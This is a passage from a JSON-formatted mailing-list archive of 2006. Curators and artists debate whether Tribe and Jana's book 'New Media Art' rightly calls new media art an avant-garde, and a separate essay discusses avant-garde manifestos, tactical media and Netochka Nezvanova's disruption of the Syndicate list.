malina <[log in to unmask]>\n> Date: Oct 30, 2006 6:04 PM\n> Subject: Re: [NEW-MEDIA-CURATING] The Last Avant-garde. Interview with\n> Mark\n> Tribe & Reena Jana\n> To: dom/ <[log in to unmask]>\n>\n> a response to the interview with Tribe/Jana\n>\n> I am actually quite comfortable with the distinction\n> in emphasis between the computer artists and new media\n> artists as described below by Tribe, as far as their different\n> positioning with respect to media culture ( and indeed their\n> relationship to the internet bubble)\n>\n> although as he says there\n> are artists that follow on smoothly between the boundaries=\n> but i am not at all convinced of the claim that almost all new media\n> artists \"almost always takes a\n> critical position in relation to media culture and media technologies\"=\n> i see a great deal of new media art thats quite happily poetical and\n> uncritical\n> ( eg Listening Post ?)\n>\n> I havent read their book yet, but I am also struck by the fact that\n> much of the current work in locative media, serious games, and other art/\n> tech that grows out of other technologies=eg bio art= are really not\n> in continuity with New Media art approaches\n>\n> the call for papers for \"re:place'  \"the conference on the histories\n> of new media arts, sciences and technologies\" just came out and the\n> term \"new media\" already seems\n> anachronistic in its use of new media as a global term rather than\n> a specific period/ or mouvement if you buy Tribe/Jana's argument\n>\n> roger malina\n>\n> \"\"\"\"\"\n> Although Computer art and New Media art, to the\n> extent that they can be distinguished from each other, shared a similar\n> set of enabling technologies, and many old-school Computer artists from\n> the Siggraph/Leonardo/ISEA scene joined the New Media art bandwagon in\n> the '90s, the two are crucially and fundamentally different in their\n> relationship to media culture. Of course I'm generalizing broadly here,\n> and there are lots of exceptions, but most Computer art was not as\n> concerned with media culture as it was with information technologies and\n> their cultural applications, whereas New Media art almost always takes a\n> critical position in relation to media culture and media technologies.end\n> \"\"\"\"\n>\n> On 10/30/06, dom/ < [log in to unmask]> wrote:\n> >\n> > *THE LAST AVANT-GARDE*\n> >\n> > Rough version of an interview with Mark Tribe & Reena Jana, authors of\n> > NEW MEDIA ART (Taschen, K\u00f6ln 2006). A shorter version has been published\n> > in \"Flash Art Italia\", Issue 260, October \u2013 November 2006, p. 73.\n> >\n> >\n> >\n>",
                        "id": 0,
                        "date": "Thu, 2 Nov 2006 09:42:29 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind06&L=new-media-curating&F=&S=&P=408933",
                        "content-type": "text/plain",
                        "author_name": "Vuk \u0106osi\u0107",
                        "subject": "Re: Fwd: [NEW-MEDIA-CURATING] The Last Avant-garde. Interview with Mark Tribe & Reena Jana"
                    },
                    {
                        "from": "Chris Byrne",
                        "content": "\nI haven't seen the book, but no doubt it is coming to an art bookshop  \nnear me soon.\n\nVuk is characteristically polite, charming and yet offers a precise  \ncritique of the book's premise. New media art as a category is beset  \nwith many issues, some of which have quite rightly been exhaustively  \ndiscussed on this list over the years.\n\nI don't intend a point by point rebuttal - it would be unfair on a  \nbook I haven't read and ultimately unrewarding. In short, new media  \nart cannot realistically be described as an avant-garde movement as  \nthe term has commonly been understood in art history or media theory.  \nNet.art, according to Mark's own criteria of \"self-definition\" and \"a  \ncommon set of artistic strategies and concerns\", could be claimed as  \nan avant-garde. However the remaining criteria form a rather shaky  \nfoundation for the thesis: applying these, one might equally state  \nthat printmaking, artists' books, or sculpture are avant-garde  \n\"movements\". The focus on a single decade starting in 1994 is  \nsomewhat strange, historicising a term which clearly still has some  \ncurrency.\n\nDoubtless there is some interesting work featured, which probably  \ndeserves attention. As a contribution to widening the discussion,  \nthis book can be welcomed. However, as Vuk has succinctly pointed  \nout, the title of the book is problematic and inaccurate. I would add  \nthat the thesis, in as far as it is outlined by Mark in the  \ninterview, is problematic and inaccurate too. It's all rather too  \nneatly tied into an over-simplification of a term which encompasses a  \nwide range of different practices and approaches. As a marketing hook  \nfor a publication which is widely distributed, translated and  \npresumably read, the tag 'avant-garde' has the right blend of  \ncontentiousness and radical credibility to prove an effective sales  \nbooster. That doesn't mean we should necessarily use the tag 'avant- \ngarde' to describe new media art.\n\nChris\n\n\nOn 2 Nov 2006, at 08:42, Vuk \u0106osi\u0107 wrote:\n\n> Simple statements about interview and reply:\n>\n> - Net.artists refused New Media label because it was inaccurate and  \n> taken.\n> Also, we wanted one that would not come from outside (from  \n> Apollinaire or\n> such).\n> The book title prevents Taschen from publishing a volume about our\n> precursors (that we knew too little about).\n>\n> - Avant-garde was how I perceived my duty as net.artist but this  \n> was my own\n> take.\n> From talks with jodi, heath and alexei I *knew* they pretty much  \n> felt the\n> same but our work didn't necessarily reflect that.\n> You had to read the interviews and posts like this to get an idea.\n> The book dominantly shows aesthetics and fairly little context (in  \n> my view,\n> ok).\n>\n> - Several NYC galleries are now selling works displayed in the  \n> Taschen book.\n>\n> This means that it's good to be in it.\n> It does not mean that the book promotes all of new media with  \n> curators,\n> collectors or other non-specialists.\n>\n> - I liked the book very much.\n> It is following me wherever I go: there was a Spanish edition in  \n> Barcelona\n> in July, a German in  Vienna two weeks ago and an Italian one  \n> yesterday in\n> Venice. This is good and I see that there's also a French and a  \n> Hungarian\n> edition.\n> This book should be slapped together with the ones by Julian and by  \n> Rachel.\n>\n> Thanks Mark and Reena (hi Reena, we never met)\n>\n> with respect\n> Vuk\n>\n>\n> On 10/30/06, roger malina <[log in to unmask]> wrote:\n>>\n>> ---------- Forwarded message ----------\n>> From: roger malina <[log in to unmask]>\n>> Date: Oct 30, 2006 6:04 PM\n>> Subject: Re: [NEW-MEDIA-CURATING] The Last Avant-garde. Interview  \n>> with\n>> Mark\n>> Tribe & Reena Jana\n>> To: dom/ <[log in to unmask]>\n>>\n>> a response to the interview with Tribe/Jana\n>>\n>> I am actually quite comfortable with the distinction\n>> in emphasis between the computer artists and new media\n>> artists as described below by Tribe, as far as their different\n>> positioning with respect to media culture ( and indeed their\n>> relationship to the internet bubble)\n>>\n>> although as he says there\n>> are artists that follow on smoothly between the boundaries=\n>> but i am not at all convinced of the claim that almost all new media\n>> artists \"almost always takes a\n>> critical position in relation to media culture and media  \n>> technologies\"=\n>> i see a great deal of new media art thats quite happily poetical and\n>> uncritical\n>> ( eg Listening Post ?)\n>>\n>> I havent read their book yet, but I am also struck by the fact that\n>> much of the current work in locative media, serious games, and  \n>> other art/\n>> tech that grows out of other technologies=eg bio art= are really not\n>> in continuity with New Media art approaches\n>>\n>> the call for papers for \"re:place'  \"the conference on the histories\n>> of new media arts, sciences and technologies\" just came out and the\n>> term \"new media\" already seems\n>> anachronistic in its use of new media as a global term rather than\n>> a specific period/ or mouvement if you buy Tribe/Jana's argument\n>>\n>> roger malina\n>>\n>> \"\"\"\"\"\n>> Although Computer art and New Media art, to the\n>> extent that they can be distinguished from each other, shared a  \n>> similar\n>> set of enabling technologies, and many old-school Computer artists  \n>> from\n>> the Siggraph/Leonardo/ISEA scene joined the New Media art  \n>> bandwagon in\n>> the '90s, the two are crucially and fundamentally different in their\n>> relationship to media culture. Of course I'm generalizing broadly  \n>> here,\n>> and there are lots of exceptions, but most Computer art was not as\n>> concerned with media culture as it was with information  \n>> technologies and\n>> their cultural applications, whereas New Media art almost always  \n>> takes a\n>> critical position in relation to media culture and media  \n>> technologies.end\n>> \"\"\"\"\n>>\n>> On 10/30/06, dom/ < [log in to unmask]> wrote:\n>> >\n>> > *THE LAST AVANT-GARDE*\n>> >\n>> > Rough version of an interview with Mark Tribe & Reena Jana,  \n>> authors of\n>> > NEW MEDIA ART (Taschen, K\u00f6ln 2006). A shorter version has been  \n>> published\n>> > in \"Flash Art Italia\", Issue 260, October \u2013 November 2006, p. 73.\n>> >\n>> >\n>> >\n>>",
                        "id": 0,
                        "date": "Sat, 4 Nov 2006 14:33:32 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind06&L=new-media-curating&F=&S=&P=410817",
                        "content-type": "text/plain",
                        "author_name": "Chris Byrne",
                        "subject": "Re: Fwd: [NEW-MEDIA-CURATING] The Last Avant-garde. Interview with Mark Tribe & Reena Jana"
                    },
                    {
                        "from": "marc",
                        "content": "\nHi Chris & all,\n\nI think yourself & Chris have put forward some fair and eluminating \npoints regarding Mark Tribe's book. I was involved in quite a heated \ndiscussion a little while back regarding the 'New media art ' book on \nRhizome, and it is reassuring that some other people do have critical \nand legitimate questions about its cultural and historical context as \nwell as myself.\n\nI will not go into the fine details of what was discussed (phew-everyone \nsays), but if anyone is interested in viewing some collected texts that \nwere discussed at that time, I have saved a copy of it all on the \nfurtherfield blog - http://blog.furtherfield.org/?q=node/14\n\nwishing everyone well.\n\nmarc\n\n> I haven't seen the book, but no doubt it is coming to an art bookshop  \n> near me soon.\n>\n> Vuk is characteristically polite, charming and yet offers a precise  \n> critique of the book's premise. New media art as a category is beset  \n> with many issues, some of which have quite rightly been exhaustively  \n> discussed on this list over the years.\n>\n> I don't intend a point by point rebuttal - it would be unfair on a  \n> book I haven't read and ultimately unrewarding. In short, new media  \n> art cannot realistically be described as an avant-garde movement as  \n> the term has commonly been understood in art history or media theory.  \n> Net.art, according to Mark's own criteria of \"self-definition\" and \"a  \n> common set of artistic strategies and concerns\", could be claimed as  \n> an avant-garde. However the remaining criteria form a rather shaky  \n> foundation for the thesis: applying these, one might equally state  \n> that printmaking, artists' books, or sculpture are avant-garde  \n> \"movements\". The focus on a single decade starting in 1994 is  \n> somewhat strange, historicising a term which clearly still has some  \n> currency.\n>\n> Doubtless there is some interesting work featured, which probably  \n> deserves attention. As a contribution to widening the discussion,  \n> this book can be welcomed. However, as Vuk has succinctly pointed  \n> out, the title of the book is problematic and inaccurate. I would add  \n> that the thesis, in as far as it is outlined by Mark in the  \n> interview, is problematic and inaccurate too. It's all rather too  \n> neatly tied into an over-simplification of a term which encompasses a  \n> wide range of different practices and approaches. As a marketing hook  \n> for a publication which is widely distributed, translated and  \n> presumably read, the tag 'avant-garde' has the right blend of  \n> contentiousness and radical credibility to prove an effective sales  \n> booster. That doesn't mean we should necessarily use the tag 'avant- \n> garde' to describe new media art.\n>\n> Chris\n>\n>\n> On 2 Nov 2006, at 08:42, Vuk \u0106osi\u0107 wrote:\n>\n>> Simple statements about interview and reply:\n>>\n>> - Net.artists refused New Media label because it was inaccurate and  \n>> taken.\n>> Also, we wanted one that would not come from outside (from  \n>> Apollinaire or\n>> such).\n>> The book title prevents Taschen from publishing a volume about our\n>> precursors (that we knew too little about).\n>>\n>> - Avant-garde was how I perceived my duty as net.artist but this  was \n>> my own\n>> take.\n>> From talks with jodi, heath and alexei I *knew* they pretty much  \n>> felt the\n>> same but our work didn't necessarily reflect that.\n>> You had to read the interviews and posts like this to get an idea.\n>> The book dominantly shows aesthetics and fairly little context (in  \n>> my view,\n>> ok).\n>>\n>> - Several NYC galleries are now selling works displayed in the  \n>> Taschen book.\n>>\n>> This means that it's good to be in it.\n>> It does not mean that the book promotes all of new media with  curators,\n>> collectors or other non-specialists.\n>>\n>> - I liked the book very much.\n>> It is following me wherever I go: there was a Spanish edition in  \n>> Barcelona\n>> in July, a German in  Vienna two weeks ago and an Italian one  \n>> yesterday in\n>> Venice. This is good and I see that there's also a French and a  \n>> Hungarian\n>> edition.\n>> This book should be slapped together with the ones by Julian and by  \n>> Rachel.\n>>\n>> Thanks Mark and Reena (hi Reena, we never met)\n>>\n>> with respect\n>> Vuk\n>>\n>>\n>> On 10/30/06, roger malina <[log in to unmask]> wrote:\n>>\n>>>\n>>> ---------- Forwarded message ----------\n>>> From: roger malina <[log in to unmask]>\n>>> Date: Oct 30, 2006 6:04 PM\n>>> Subject: Re: [NEW-MEDIA-CURATING] The Last Avant-garde. Interview  with\n>>> Mark\n>>> Tribe & Reena Jana\n>>> To: dom/ <[log in to unmask]>\n>>>\n>>> a response to the interview with Tribe/Jana\n>>>\n>>> I am actually quite comfortable with the distinction\n>>> in emphasis between the computer artists and new media\n>>> artists as described below by Tribe, as far as their different\n>>> positioning with respect to media culture ( and indeed their\n>>> relationship to the internet bubble)\n>>>\n>>> although as he says there\n>>> are artists that follow on smoothly between the boundaries=\n>>> but i am not at all convinced of the claim that almost all new media\n>>> artists \"almost always takes a\n>>> critical position in relation to media culture and media  \n>>> technologies\"=\n>>> i see a great deal of new media art thats quite happily poetical and\n>>> uncritical\n>>> ( eg Listening Post ?)\n>>>\n>>> I havent read their book yet, but I am also struck by the fact that\n>>> much of the current work in locative media, serious games, and  \n>>> other art/\n>>> tech that grows out of other technologies=eg bio art= are really not\n>>> in continuity with New Media art approaches\n>>>\n>>> the call for papers for \"re:place'  \"the conference on the histories\n>>> of new media arts, sciences and technologies\" just came out and the\n>>> term \"new media\" already seems\n>>> anachronistic in its use of new media as a global term rather than\n>>> a specific period/ or mouvement if you buy Tribe/Jana's argument\n>>>\n>>> roger malina\n>>>\n>>> \"\"\"\"\"\n>>> Although Computer art and New Media art, to the\n>>> extent that they can be distinguished from each other, shared a  \n>>> similar\n>>> set of enabling technologies, and many old-school Computer artists  \n>>> from\n>>> the Siggraph/Leonardo/ISEA scene joined the New Media art  bandwagon in\n>>> the '90s, the two are crucially and fundamentally different in their\n>>> relationship to media culture. Of course I'm generalizing broadly  \n>>> here,\n>>> and there are lots of exceptions, but most Computer art was not as\n>>> concerned with media culture as it was with information  \n>>> technologies and\n>>> their cultural applications, whereas New Media art almost always  \n>>> takes a\n>>> critical position in relation to media culture and media  \n>>> technologies.end\n>>> \"\"\"\"\n>>>\n>>> On 10/30/06, dom/ < [log in to unmask]> wrote:\n>>> >\n>>> > *THE LAST AVANT-GARDE*\n>>> >\n>>> > Rough version of an interview with Mark Tribe & Reena Jana,  \n>>> authors of\n>>> > NEW MEDIA ART (Taschen, K\u00f6ln 2006). A shorter version has been  \n>>> published\n>>> > in \"Flash Art Italia\", Issue 260, October \u2013 November 2006, p. 73.\n>>> >\n>>> >\n>>> >\n>>>\n>\n>\n\n\n-- \nFurtherfield - http://www.furtherfield.org\nHTTP - http://www.http.uk.net\nNode.London - http://www.nodel.org",
                        "id": 0,
                        "date": "Sat, 4 Nov 2006 14:54:09 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind06&L=new-media-curating&F=&S=&P=411401",
                        "content-type": "text/plain",
                        "author_name": "marc",
                        "subject": "Re: Fwd: [NEW-MEDIA-CURATING] The Last Avant-garde. Interview with Mark Tribe & Reena Jana"
                    },
                    {
                        "from": "Simon Biggs",
                        "content": "\nChris's analysis here is completely reasonable. New media art is not nor has\nit ever been an art movement, in the sense that cubism, surrealism or\nexpressionism were. It's practice is too diverse with practitioners coming\nat the manifold media involved from many different ideological and\nphilosophical positions. There is not sufficient coherence in the general\narea of new media art for it to be regarded as a movement and it can be\nargued that this a prerequisite for an avantgarde to form. Net art, or web\nbased art, or networked art, or whatever you want to call the work that\nartists do who use the internet, is as diverse as the general area of new\nmedia art and thus the same arguments likely apply to it as well.\n\nNet.art is however a special case. It is now generally agreed what net.art\nwas and who was involved with it and that there was enough commonality\nbetween the protagonists for their practice as a whole to be regarded as an\nartistic movement. Thus it is possible that this group could constitute an\navantgarde. However, just because net.art can be identified as a coherent\nenough body of practice to represent a movement it does not follow that is\nis an avantgarde as well. I think that question is still up for debate.\n\nA case could also be made for the area known as e-poetry or digital poetics\nas being a movement. This is an interesting area of practice as it is as\nmuch concerned with literature and textual practices as it is with the\nvisual arts. This convergence not only of specific media but also specific\ndisciplines might suggest that this area of practice is even more\ndifferentiated than net.art was. The practitioners who have come to be\nidentified with this area of practice have done so in a self-conscious\nmanner (although I imagine to begin with they were not aware of this\nhappening; it was more a case of discovering at a certain point that there\nwas a community out there and yes, I would like to join it please - if\nyou'll have me). To some degree the digital poetics \"movement\" temporally\noverlaps with net.art, certainly as concerns the practice of the early\nadopters and practitioners in the field. However, unlike net.art digital\npoetics is still going strong and is possibly at its peak in interest right\nabout now. The recent Tate Modern events run by John Cayley (a key\npractitioner and theorist in the area) are evidence of enhanced interest in\nsuch work, as was the Poeisis events run in Berlin a couple of years ago.\nHowever, I would question whether this group of practitioners and associated\ntheorists represent an avantgarde either.\n\nI fear that Mark Tribe's appropriation of the term \"avantgarde\" is driven\nmore by a desire to take on the romantic (and very marketable) mantle the\nnotion of the avantgarde confers and as such is contrived. It can be argued\n(indeed, it often has been) that in a post-modernist context the notion of\nthe avantgarde is not plausible. As a concept the avantgarde was always\nemployed retrospectively to describe an area of practice and a group of\npractitioners who all had a shared agenda more or less amounting to an\nideology. I don't think that this is really possible in the pluralist\nculture we now live in. Thus I fear that Mark has done his thesis a\ndisservice by seeking to contextualise it in the manner he has.\n\nThat said, I have not read the book yet either and will reserve judgement\nuntil then. My expectation is that it is going to be generally a good book,\nas Mark is intelligent and articulate and he \"was there\".\n\nRegards\n\nSimon \n\n\nOn 05.11.06 00:00, Chris Byrne wrote:\n\n> Net.art, according to Mark's own criteria of \"self-definition\" and \"a =20=\n> \n> common set of artistic strategies and concerns\", could be claimed as =20\n> an avant-garde. However the remaining criteria form a rather shaky =20\n> foundation for the thesis: applying these, one might equally state =20\n> that printmaking, artists' books, or sculpture are avant-garde =20\n> \"movements\". The focus on a single decade starting in 1994 is =20\n> somewhat strange, historicising a term which clearly still has some =20\n> currency.\n\n\nSimon Biggs\n\n[log in to unmask]\nhttp://www.littlepig.org.uk/\nAIM: simonbiggsuk\n\nResearch Professor, Edinburgh College of Art\n\n[log in to unmask]\nhttp://www.eca.ac.uk/",
                        "id": 0,
                        "date": "Sun, 5 Nov 2006 12:46:50 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind06&L=new-media-curating&F=&S=&P=412058",
                        "content-type": "text/plain",
                        "author_name": "Simon Biggs",
                        "subject": "Re: Fwd: [NEW-MEDIA-CURATING] The Last Avant-garde. Interview with Mark Tribe & Reena Jana"
                    },
                    {
                        "from": "tom",
                        "content": "\nHi everyone\n\nI largely agree with simon, attempts to lay claim to an idea of the avant \ngarde in a contemporary context seems somewhat forced - nostalgic even. Even \nif the notion of some form of progressive or utopian impulse in the arts is \nbadly needed. Anyone who has had the\nmisfortune to attend the Frieze arts fair over the past few years will know \nwhat i mean.\n\nI've read Mark's book and will use it in teaching as it gives a solid \ngrounding in *some* of the subjects themes and issues - even if it is \nproblematic in many of the ways pointed out already.\n\n>As a concept the avantgarde was always\n>employed retrospectively to describe an area of practice and a group of\n>practitioners who all had a shared agenda more or less amounting to an\n>ideology.\n\nWithout wishing to sound pedantic, the idea that the avant garde was some \nform of retrospective label used to group together\ncertain progressive forms of arts practice is not correct. The avant garde \nas *idea* was used self-consciously by artists\n(going back at least to the original  1863, opening of the Salon des \nRefus\u00e9s) as a way of describing their practice, i.e is not\na historicising process as formulated by others. It goes hand in hand with \nidea of manifesto. Martin Puchner has written a fascinating\nbook on how the artistic avant gardes of the early modern movement \ndovetailed with political movements such as marxism. Recommended.\n\ntom corby\n\n\n\n\n>\n> Simon\n>\n>\n> On 05.11.06 00:00, Chris Byrne wrote:\n>\n>> Net.art, according to Mark's own criteria of \"self-definition\" and \"a \n>> =20=\n>>\n>> common set of artistic strategies and concerns\", could be claimed as =20\n>> an avant-garde. However the remaining criteria form a rather shaky =20\n>> foundation for the thesis: applying these, one might equally state =20\n>> that printmaking, artists' books, or sculpture are avant-garde =20\n>> \"movements\". The focus on a single decade starting in 1994 is =20\n>> somewhat strange, historicising a term which clearly still has some =20\n>> currency.\n>\n>\n> Simon Biggs\n>\n> [log in to unmask]\n> http://www.littlepig.org.uk/\n> AIM: simonbiggsuk\n>\n> Research Professor, Edinburgh College of Art\n>\n> [log in to unmask]\n> http://www.eca.ac.uk/\n> ",
                        "id": 0,
                        "date": "Sun, 5 Nov 2006 20:04:28 -0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind06&L=new-media-curating&F=&S=&P=413662",
                        "content-type": "text/plain",
                        "author_name": "tom",
                        "subject": "Re: Fwd: [NEW-MEDIA-CURATING] The Last Avant-garde. Interview with Mark Tribe & Reena Jana"
                    },
                    {
                        "from": "dom/",
                        "content": "\nHi all,\n\nI'm happy that this little interview is generating such an interesting\ndiscussion. I also think that the use of terms such as \"movement\" and\n\"avantgarde\" in reference to New Media Art is problematic, but I think\nit can work if we take into account their effort to re-define New Media\nArt:  \"Our point is that during the 1990s, with the dawn of the \nInternet's popular rise as a mass-market communication medium coupled \nwith the increasing presence of PCs among households, a specific art \nmovement started to take shape that both used these tools as primary \nartistic media to comment on the effect of these media on society and \nculture. This movement entailed self-organization and definition on the \npart of the artists involved on chat rooms, on artist-run Web sites, in \ngallery exhibitions and at institutions devoted to the movement\", Reena \nsays. She seems to talk about net.art: and maybe all their approach can \nbe descibed as an attempt to extend the avant-garde approach and feeling \nof net.art to a wider field.\n\nAnyway, I think that the best way to judge this book is to look not only \nat what it says, but also at what it is. It has been published by \nTaschen, a big, pervasive international publisher, as part of a series \nof books on the greatest art movements of the XXth century. It is for \nthe public and for the contemporary art system, not (only) for the media\nart practitioners. It has a few things to say, and it has to say them\nclearly and loudly:\n- that New Media Art exist also if you don't find it in Art Basel anymore;\n- that New Media Art is one of the most important artistic phenomena of\nthe XXth century;\n- that New Media Art is interesting, difficult to sell but salable,\ndifficult to collect but collectable, difficult to show but showable.\n\nIn this way, this book can be a good bridge between new media art and\nthe contemporary art system. It is not just a theory, but also a \ncultural strategy. Vuk says that \"several NYC galleries are\nnow selling works displayed in the Taschen book\": this is, in my\nopinion, a good thing. And so, if art curators start to put in theirs\nshows works displayed in the Taschen book, this is a good thing. When\nthis book would be accepted by the art system, we could start to\nquestion its view. By now, I prefer to bet on it.\n\nMy bests,\ndomenico\n\n-- \n\nDomenico Quaranta\n\nmob. +39 340 2392478\nemail. [log in to unmask]\nhome. vicolo San Giorgio 18 - 25122 brescia (BS)\nweb. http://www.domenicoquaranta.net/",
                        "id": 0,
                        "date": "Mon, 6 Nov 2006 09:12:07 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind06&L=new-media-curating&F=&S=&P=415062",
                        "content-type": "text/plain",
                        "author_name": "dom/",
                        "subject": "Re: Fwd: [NEW-MEDIA-CURATING] The Last Avant-garde. Interview with Mark Tribe & Reena Jana"
                    }
                ],
                "date": "Mon, 30 Oct 2006 18:05:17 +0100",
                "list": "crumb",
                "author_name": "roger malina",
                "subject": "Fwd: [NEW-MEDIA-CURATING] The Last Avant-garde. Interview with Mark Tribe & Reena Jana"
            },
            {
                "content-type": "text/plai",
                "from": "duna maver <dunamaver {AT} yahoo.com>",
                "id": "00101",
                "content": "\nThis is a belated reply to Eric Kluitenberg\u0092s\n\u0091Transfiguration of the Avant-Garde/The Negative\nDialectics of the Net,\u0092 posted on nettime two months\nago. Mladen Stilinovic, Croatian artist, once said it\nis good to be lazy, not just in art but in life. I am\nin fundamental agreement with Eric\u0092s position: the\ndisturbance of the apparently seamless surface of the\ndigital media universe by groups like RTMark is indeed\na transfiguration of the dialectic of the old\navant-garde. But rather than seeing this as a sign of\ntheir challenge to the logic of the network society,\nto my mind, it is the mark of their obsolescence.\nActually, this is not much of a reply since it engages\nwith Eric\u0092s post only indirectly by evoking the same\nthree terms \u0096 dialectics, the avant-garde, and the net\n\u0096 though they\u0092re walking down a different road. What\nfollows is the last piece of a longer book, Twilight\nof the Idols. \n\nHello.\n\n\n< 1 >\n\nThe specter of the avant-gardes haunts the\nrevolutionary imagination.  The powers of the left\nonce entered into unholy alliance with the forces of\nthe right to exorcise this specter: the czar of\nBolshevism and the pope of Fascism, the PCF and\nCharles de Gaulle.  Pronounced a simultaneous threat\nand a nothing, a tragic farce of bourgeois\nindividualism and political ineptitude reduced to\nmonumental ineffectiveness, the specter is hastily\nwritten out of the pages of serious history. During\nmore than a century of small triumphs and triumphant\ndefeats, the monopoly over the production of this\nhistory has been protected and defended by the guard\ndogs of Marxism. \n\nWhat\u0092s behind the desire to write a manifesto, one\nthat would trump Marx by mimicking the gestures of a\nbeginning that returns to the same point of departure,\ninvoking one or another specter who haunts the\ncontemporary landscape and who will inherit the truth\nof a still imperceptible becoming? The manifesto is a\nperformance, it summons an apparition that does not\nyet possess clear contours, it calls its object into\nbeing through an invocation, a magic ritual. The\nmanifesto is no mere representation, it is itself the\naction it demands, uniting the \u0091we\u0092 of a new group\nthrough the proclamation of new laws. The church\nmanifestoes of the 1640s denounced those who deviated\nfrom the light, summoning the bearers of the truth of\nGod. The communist manifesto abolished the false god\nof the market in the name of the truth of a new group\nin fusion who would inherit the legacy of state power.\nManifestoes may negate, but only as a means to the\naffirmation of a new truth; they are essentially\npositive, programmatic, constitutional. Sure of\nthemselves, they are always written in a declarative\nmode. We are, we say, we want.\n\nIt is through the laws and proclamations of their\nmanifestoes that the various avant-gardes instituted\nthemselves as micro-nations, states in miniature.\nSurrealism launched itself in 1924 in the form of a\ndictionary definition: \u0091Surrealism, noun. Psychic\nautomatism in its pure state.\u0092 It proclaimed the\npurity and truth of its uncorrupted desire and\ndeclared openly that it proposed to institute itself\nas a totality over the fallen world and \u0091solve all the\nprincipal problems of life.\u0092  Surrealism and the SI\nwere only the most rabid forms of the avant-garde\u0092s\nidentification with ideological discourse, which is\nsimultaneously the logic of territoriality \u0096 it lists\nnegations and abolitions, affirms goals in advance,\ndemarcates borders that separate the outside from the\ninside, and denounces enemies and ideas that exceed\nthe limits of its own system. The will to\nexcommunication and the juridical tone of these\nmovements was not a deviation, some last tragic gasp\nof the avant-gardes in decline, it was present in the\nact of their founding. \n\n < avant.NET >\n\nThe life of the avant-gardes has become a virtual\ngeography. Manifestoes invoking the arrival of new\nforms of immaterial, liquiescent subversion assume\nthat after the stagnation of the conservative\neighties, the previous movements of the left,\nincluding the radical avant-gardes, have\nde-materialized from the streets to the \u0091rhizomatic\u0092\nuniverse of the net. Critical Art Ensemble announce\nthe disappearance of visible power: the power which\nwas once incarnated in the body of the king or in the\narchitecture of castles and parliament houses has\nvanished under the simultaneous compression of space\nand time. Becoming liquid, power seeps through\ncyberspace, an elusive entity that nomadically wanders\nthe globe, a body without borders that changes shape\nas it moves. In vain would the war machines of\nsubversion run after it on the streets. Vacated of the\nsymbols and materiality of power, the streets are dead\nand not worth fighting for and defending \u0096 it is the\ncontrol of information that has become the terrain of\nbattle, and the name of resistance whispered in every\nenthusiastic ear is infowar, the appropriation of \n\u0091data and/or means of communication.\u0092  The net, in all\nits beauty and terror fulfills the promise of the\nradical impulses of earlier generations. The\nrevolutionary vision lives, transfigured.  As Eric\nKluitenberg has said, \u0091The strategies, the conceptual\ntools, the tactics of intervention in the new digital\nhypersphere are highly familiar. They draw on the\nlegacy and experience of the avant-garde movements.\u0092\nThe affirmation of the origins of tactical media\n<communication guerilla // infowar // hacktivism //  .\n. .> in the gestures of the old avant-gardes is\ninvoked by artists and digerati alike; the arsenal of\nthe future is constructed out of the ruins of the\npast: Duchamp, Berlin Dada, Breton, the irreproachable\nSituationists.  According to the new mythology, is\nonly the geography of the gestures \u0096 their location in\nphysical space \u0096 that has become obsolete. But which\ngestures, which avant-garde?\n\n< cyber terrorism >\n\nCAE has implied that cyber terrorism is impossible:\n\u0091How can terror happen in virtual space, that is in a\nspace with no people \u0096 only information?\u0092 But people\nare not only their material bodies, but their\nrelations, their accumulation of knowledge and skills,\nthe information others have accumulated about them \u0096\nand a manipulation of information can be experienced\nas a concrete threat. Some have called Netochka\nNezvanova, the online entity who has \u0091destroyed\u0092\nseveral mailing lists by unleashing a wave of panic\nover \u0091spams\u0092 against their citizens, the \u0091great terror\nof the net.\u0092 Just on a formal level, the resemblance\nbetween this particular form of \u0091spamming\u0092 and\nterrorism may not be so far off the mark. For the\nSocial Revolutionary terrorists in Russia during the\n1880s an assassination meant the direct removal of the\ncause of repression; after the 1890s, terrorism became\nindirect. The \u0091propaganda of the deed\u0092 of fin de\nsiecle terrorism in France attacked an oppressive\npower by random violence against those ruled, against\n\u0091citizens\u0092 who were guilty for applauding the current\norder.  An initial panic ensues; State functionaries,\nunder the pretext of protecting citizens impose\nincreasingly rigid and intolerant rules which actually\nrestrict their freedoms. The ultimate aim of the\nsecond phase of terrorism is to reveal the State as\nthe real terrorist, in the hope that citizens will\neventually shift the blame to those who rule.  \n\nHistorically this reversal has almost never worked.\nExcept maybe on the Syndicate list. The 10-20 average\ndaily mails that NN sent to the mailboxes of the\nnetizens were frequently in the form of attacks\nagainst the oppressors who were administrating the\nlist or against the others who commanded some form of\npower and respect as the leaders of net activism. Pit\nShultz, Geert Lovink, Tilman Baumgaertel were called\n\u0091inkompetent pop.tart male imbeciles \u0085 whose m9nd\naktivity resembles that of a housefly - only\nunderstand the trivial hence the state of things . . .\n following refuse - i.e. each other.\u0092  Andreas\nBroeckmann: one of the \u0091neu media kr!!ket dictators,\u0092\n\u0091dezt!tut korporat.fasc!zt bagatela\u0092 who makes \u0091a\ntotal !mbez!l ov h!mzelv + h!z teror!zt anzeztrz.\u0092\nMark Tribe and Alex Galloway of Rhizome: \u0091laughable +\ndestitute\u0092 Thing.net: bunch of \u0091inkompetent\nmarionetten \u0085 invalids + posers.\u0092 Syndicate: an\n\u0091ART>MAFIA \u0085 DUMB + DEAD.\u0092 In the Syndicate debacle\nthat followed, NN succeeded in derailing the\ndiscussions and forcing the citizens of the list to\ntake sides \u0096 either for NN, thus supposedly on the\nside of freedom of speech and \u0091democracy,\u0092 or against\nher, in other words, siding with the totalitarian,\nfascist, dictator administrators of the list. For a\nmoment the tactic succeeded in inverting the blame.\nAfter the administrators kicked NN of the list in\nsecrecy, a wave of protests and accusations of fascism\nand totalitarianism followed, NN was re-s*bscribed and\nthe admins quit the list taking a lot of the long term\nmembers with them in a wave of mass-uns*bscription.\nOstensibly power vacated its seat, and the list was\nre-occupied in another name \u0096 in the name of freedom,\nas the story might be written in the pages of history.\n\nAlexei Shulgin once said of NN, there\u0092s nothing new\nhere, we\u0092ve seen it all before. Legacy of the\navant-garde? \u0091da.da da + da.\u0092 Excommunication and\nterrorism were the twin faces of the 